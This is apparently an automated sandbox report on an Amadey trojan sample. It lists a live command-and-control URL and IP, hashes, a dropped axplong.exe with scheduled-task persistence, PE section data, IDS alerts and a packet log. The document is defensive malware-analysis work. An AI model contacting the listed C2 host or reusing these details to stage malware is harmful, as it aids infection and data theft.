http://185.215.113.16/Jo89Ku7d/index.phpZ	axplong.exe, 00000007.00000002.3248149591.0000000001299000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpp;	axplong.exe, 00000007.00000002.3248149591.0000000001269000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpded	axplong.exe, 00000007.00000002.3248149591.000000000127F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpy	axplong.exe, 00000007.00000002.3248149591.0000000001299000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpx	axplong.exe, 00000007.00000002.3248149591.0000000001299000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpt	axplong.exe, 00000007.00000002.3248149591.000000000127F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.php3	axplong.exe, 00000007.00000002.3248149591.0000000001269000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpncoded	axplong.exe, 00000007.00000002.3248149591.000000000127F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.16	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1483002
Start date and time:	2024-07-26 13:42:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	EXyAlLKIck.exe renamed because original name is a hash value
Original Sample Name:	fddcf49860999a5147f34179c07c4bc6.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/3@1/1
EGA Information:	Successful, ratio: 25%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target EXyAlLKIck.exe, PID 3220 because it is empty
Execution Graph export aborted for target axplong.exe, PID 5000 because there are no executed function
Execution Graph export aborted for target axplong.exe, PID 728 because there are no executed function
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: EXyAlLKIck.exe

Simulations

Behavior and APIs

Time	Type	Description
07:44:01	API Interceptor	1007x Sleep call for process: axplong.exe modified
13:42:56	Task Scheduler	Run new task: axplong path: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.16	IRqsWvBBMc.exe	Get hash	malicious	Amadey, Vidar	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	185.215.113.16/Jo89Ku7d/index.php
	JGKjBsQrMc.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	185.215.113.16/Jo89Ku7d/index.php
	PE1dBCFKZv.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	random.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	IRqsWvBBMc.exe	Get hash	malicious	Amadey, Vidar	Browse	185.215.113.16
	LbMTyCFRzs.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	185.215.113.16
	DHBIT8FeuO.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	JGKjBsQrMc.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	185.215.113.16
	PE1dBCFKZv.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	random.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Python Stealer, Amadey, Babadeda, Monster Stealer, RedLine, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	RedLine	Browse	185.215.113.67
	file.exe	Get hash	malicious	RedLine	Browse	185.215.113.67

Process:	C:\Users\user\Desktop\EXyAlLKIck.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1878528
Entropy (8bit):	7.9511790279672505
Encrypted:	false
SSDEEP:	49152:P5q5hwjJGpXZ/jHfZELr33caRxXTJ5MJRiNxEBm7HWdYOyMCoU1:swFGpXZjfZ+rnDxl5MJUxP2yG
MD5:	FDDCF49860999A5147F34179C07C4BC6
SHA1:	9272C4C84A44387FF0546C33F8816DE12E993D3D
SHA-256:	0EC6F1E4EA70E94D4B6245ECB1CA8953515E41AD631AF0FBDAD75C2AB14C36E8
SHA-512:	069E5D84F7E9058972C9D1BD6293435EA3EAC9814925C248F753BF35123B9C66B3A61A9F278000E5ECD7BEFD980345D076646B7D4F25EC8574D4D1D47A103075
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f..............................J...........@...........................J.....x.....@.................................W...k.............................J.............................p.J..................................................... . ............................@....rsrc...............................@....idata ............................@... .`*.........................@...wfabfqoe......1.....................@...qxvdwait......J.....................@....taggant.0....J.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\EXyAlLKIck.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\Tasks\axplong.job

Download File

Process:	C:\Users\user\Desktop\EXyAlLKIck.exe
File Type:	data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.4418354476099817
Encrypted:	false
SSDEEP:	6:hFKsnX45ZsUEZ+lX1lOJUPelkDdtFXqYEp5t/uy0l1XyEt0:hMsXDQ1lOmeeDNfXV1CEt0
MD5:	C542D68DA39ECA3C0F6F50A8686B79F3
SHA1:	0BD14C692B72DEEDE72D586D3991DC2CC2ED13C0
SHA-256:	285F6B060329C3A2E349CBE8690911D1D019DE12B8CB86003B2D1824090A26DB
SHA-512:	E925B1E23D6E3F86D757B95E5959EF3DAC6A9C8E3E98FDC43B2409168348587080CF5E3D40BB7D332ED2D4A62E4A3071D48F035183C97CDC302128D157300797
Malicious:	false
Reputation:	low
Preview:	...........M.,....C.F.......<... .....s.......... ....................:.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.4.4.1.1.1.d.b.c.4.9.\.a.x.p.l.o.n.g...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0.................+.@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9511790279672505
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	EXyAlLKIck.exe
File size:	1'878'528 bytes
MD5:	fddcf49860999a5147f34179c07c4bc6
SHA1:	9272c4c84a44387ff0546c33f8816de12e993d3d
SHA256:	0ec6f1e4ea70e94d4b6245ecb1ca8953515e41ad631af0fbdad75c2ab14c36e8
SHA512:	069e5d84f7e9058972c9d1bd6293435ea3eac9814925c248f753bf35123b9c66b3a61a9f278000e5ecd7befd980345d076646b7d4f25ec8574d4d1d47a103075
SSDEEP:	49152:P5q5hwjJGpXZ/jHfZELr33caRxXTJ5MJRiNxEBm7HWdYOyMCoU1:swFGpXZjfZ+rnDxl5MJUxP2yG
TLSH:	EA9533124FB29B19DC6EF83E271BAF5869D4C5105C924FBD331841A8DDF3A5382F6A50
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8ab000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66A240BE [Thu Jul 25 12:10:38 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FE5B941D84Ah
js 00007FE5B941D862h
add byte ptr [eax], al
jmp 00007FE5B941F845h
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4a9cc0	0x10	wfabfqoe
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4a9c70	0x18	wfabfqoe
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	b640ac6ffc6478af85df53e1cade5079	False	0.9973763198228883	data	7.982589984423413	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x1e0	0x200	64903977b780070f8d5c3f7ecceace36	False	0.578125	data	4.4757811155299025	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2a6000	0x200	ab8ba28d2a4157ea4e9e8c1f2873e1d0	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
wfabfqoe	0x311000	0x199000	0x199000	5c371e5c77c9a370e158837dbd7d0558	False	0.994585331028423	data	7.954564972616457	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qxvdwait	0x4aa000	0x1000	0x400	b4ec7f2bacab7015e5467775acfbef74	False	0.697265625	data	5.672679022019647	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4ab000	0x3000	0x2200	b50a2421a633ebb3255a8739c7fdcc6a	False	0.06502757352941177	DOS executable (COM)	0.7147883333844974	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4a9cd0	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-26T13:44:21.031169+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	53662	80	192.168.2.5	185.215.113.16
2024-07-26T13:43:32.829875+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	53645	52.165.165.26	192.168.2.5
2024-07-26T13:43:14.534208+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49704	20.12.23.50	192.168.2.5
2024-07-26T13:44:27.104268+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	53667	80	192.168.2.5	185.215.113.16
2024-07-26T13:43:33.868995+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	53646	52.165.165.26	192.168.2.5
2024-07-26T13:44:03.059226+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	53647	80	192.168.2.5	185.215.113.16

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 13:44:02.256671906 CEST	53647	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:02.261879921 CEST	80	53647	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:02.262007952 CEST	53647	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:02.262164116 CEST	53647	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:02.267100096 CEST	80	53647	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:03.059106112 CEST	80	53647	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:03.059226036 CEST	53647	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:03.061624050 CEST	53647	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:03.066549063 CEST	80	53647	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:03.366684914 CEST	80	53647	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:03.368688107 CEST	53647	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:03.493084908 CEST	53647	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:03.497072935 CEST	53648	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:03.506570101 CEST	80	53648	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:03.508558035 CEST	53648	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:03.510493994 CEST	80	53647	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:03.512456894 CEST	53647	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:03.522540092 CEST	53648	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:03.528455973 CEST	80	53648	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:04.280569077 CEST	80	53648	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:04.280810118 CEST	53648	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:04.281440020 CEST	53648	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:04.286279917 CEST	80	53648	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:04.540323019 CEST	80	53648	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:04.540431023 CEST	53648	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:04.649923086 CEST	53648	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:04.650410891 CEST	53649	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:04.655975103 CEST	80	53649	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:04.656097889 CEST	53649	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:04.656192064 CEST	80	53648	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:04.656254053 CEST	53648	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:04.656502008 CEST	53649	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:04.661487103 CEST	80	53649	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:05.670748949 CEST	80	53649	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:05.671137094 CEST	53649	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:05.672177076 CEST	53649	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:05.672499895 CEST	80	53649	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:05.672722101 CEST	53649	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:05.680309057 CEST	80	53649	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:05.920926094 CEST	80	53649	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:05.922504902 CEST	53649	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:06.024518967 CEST	53649	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:06.026403904 CEST	53650	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:06.031043053 CEST	80	53649	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:06.031369925 CEST	53649	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:06.031439066 CEST	80	53650	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:06.032423973 CEST	53650	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:06.032423973 CEST	53650	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:06.038508892 CEST	80	53650	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:06.813628912 CEST	80	53650	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:06.813705921 CEST	53650	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:06.814331055 CEST	53650	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:06.819212914 CEST	80	53650	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:07.068056107 CEST	80	53650	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:07.068274975 CEST	53650	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:07.181268930 CEST	53651	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:07.181335926 CEST	53650	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:07.187397003 CEST	80	53651	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:07.187546015 CEST	53651	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:07.187690973 CEST	53651	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:07.188596964 CEST	80	53650	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:07.188652039 CEST	53650	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:07.193249941 CEST	80	53651	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:07.941807985 CEST	80	53651	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:07.941891909 CEST	53651	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:07.942713022 CEST	53651	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:07.947679043 CEST	80	53651	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:08.190907955 CEST	80	53651	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:08.191061020 CEST	53651	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:08.306122065 CEST	53651	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:08.306447029 CEST	53652	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:08.311336040 CEST	80	53652	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:08.312820911 CEST	53652	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:08.312820911 CEST	53652	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:08.312982082 CEST	80	53651	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:08.313153982 CEST	53651	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:08.317733049 CEST	80	53652	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:09.065239906 CEST	80	53652	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:09.065315962 CEST	53652	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:09.065877914 CEST	53652	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:09.070713997 CEST	80	53652	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:09.321120977 CEST	80	53652	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:09.322140932 CEST	53652	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:09.430727005 CEST	53652	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:09.431041956 CEST	53653	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:09.438810110 CEST	80	53653	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:09.438911915 CEST	53653	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:09.439378977 CEST	53653	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:09.440042973 CEST	80	53652	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:09.440221071 CEST	53652	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:09.445741892 CEST	80	53653	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:10.221355915 CEST	80	53653	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:10.221438885 CEST	53653	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:10.222194910 CEST	53653	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:10.228902102 CEST	80	53653	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:10.481286049 CEST	80	53653	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:10.481484890 CEST	53653	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:10.586913109 CEST	53653	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:10.587265015 CEST	53654	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:10.595382929 CEST	80	53654	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:10.595460892 CEST	53654	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:10.595560074 CEST	53654	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:10.596668959 CEST	80	53653	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:10.596873045 CEST	53653	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:10.600656986 CEST	80	53654	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:11.379457951 CEST	80	53654	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:11.379527092 CEST	53654	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:11.382344961 CEST	53654	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:11.387314081 CEST	80	53654	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:11.635154009 CEST	80	53654	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:11.635261059 CEST	53654	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:11.743208885 CEST	53654	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:11.743513107 CEST	53655	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:11.751934052 CEST	80	53655	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:11.752018929 CEST	53655	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:11.752181053 CEST	53655	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:11.753101110 CEST	80	53654	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:11.753148079 CEST	53654	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:11.756999969 CEST	80	53655	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:12.595117092 CEST	80	53655	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:12.595196009 CEST	53655	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:12.596424103 CEST	53655	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:12.601469994 CEST	80	53655	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:12.879328966 CEST	80	53655	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:12.879410028 CEST	53655	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:12.993491888 CEST	53655	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:12.993491888 CEST	53656	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:12.998759031 CEST	80	53656	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:12.999011993 CEST	53656	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:12.999011993 CEST	53656	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:12.999284029 CEST	80	53655	185.215.113.16	192.168.2.5
